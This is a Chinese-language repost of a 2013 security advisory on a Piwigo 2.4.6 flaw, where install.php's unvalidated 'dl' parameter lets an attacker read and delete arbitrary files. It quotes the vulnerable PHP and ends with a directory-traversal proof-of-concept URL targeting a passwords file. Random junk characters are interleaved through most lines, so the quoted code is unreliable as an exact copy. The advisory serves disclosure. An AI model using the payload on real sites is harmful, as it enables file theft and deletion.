Piwigo是用PHP编写的相册脚本。
+ {# C7 n( i. ~% n! j5 |- G8 I* }" m5 Z( h7 Q$ t
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
8 R) p+ n: \: B1 W====================================================================' D9 O4 W6 Z5 u8 f$ S
/install.php:# `; ^5 S5 \. s; @' ?2 @9 f* x
-------------4 G- ]2 [$ L& ]2 t( B
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
) W6 g ^3 W# P( z/ ^9 ^114: {; B( w( F* b: V7 H
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];/ h3 C% `6 ^* [ ~0 ?! M
116: header('Cache-Control: no-cache, must-revalidate');
$ i* |" m* C5 Y117: header('Pragma: no-cache');; {$ z2 A5 y9 Y7 c& d G2 j
118: header('Content-Disposition: attachment; filename="database.inc.php"');9 g' o$ ^6 q, d5 [
119: header('Content-Transfer-Encoding: binary');$ {8 K9 [" l( c+ W9 a8 F- \
120: header('Content-Length: '.filesize($filename));
- T7 E) H8 O% K121: echo file_get_contents($filename);
# C: J3 ]# e# O7 e122: unlink($filename);
/ E6 J- M4 g7 h2 a123: exit();
: S+ n! n3 X0 y) k124: }
- u( k; \# F3 b `' t====================================================================
0 f2 v1 X$ ?4 L3 ] 1 r# G/ W2 l# a+ L& O+ L7 O
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
" v+ ~6 p- V) W; _ Apache 2.4.2 (Win32)
$ N# {9 q; W: Q& Z, U/ M& c PHP 5.4.4% U/ Z9 L4 l0 O- D
MySQL 5.5.25a
' f) W( v- o6 D; f
9 B1 ^0 o8 C* c$ Z! Y% I3 MVulnerability discovered by Gjoko 'LiquidWorm' Krstic5 s5 f! j5 t+ H
@zeroscience- q& P# @# j; d3 h
, K) h a7 Z" E+ RAdvisory ID: ZSL-2013-5127
: G/ u" {6 C# a V0 R. T+ OAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php+ V! E' g: Z1 G# C( z7 z e
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
; y' Q* J5 ~+ `/ m/ f7 a0 } + M; j f$ k6 ^
15.02.2013 l$ i% a; t7 u3 ^8 l0 g
5 i4 n9 Z6 a2 |+ M8 |% \--
3 l5 M% }+ i2 f2 ^& vhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt/ j n% [* h1 \7 k. u; Y
! A7 ?, b p. n: l% k
|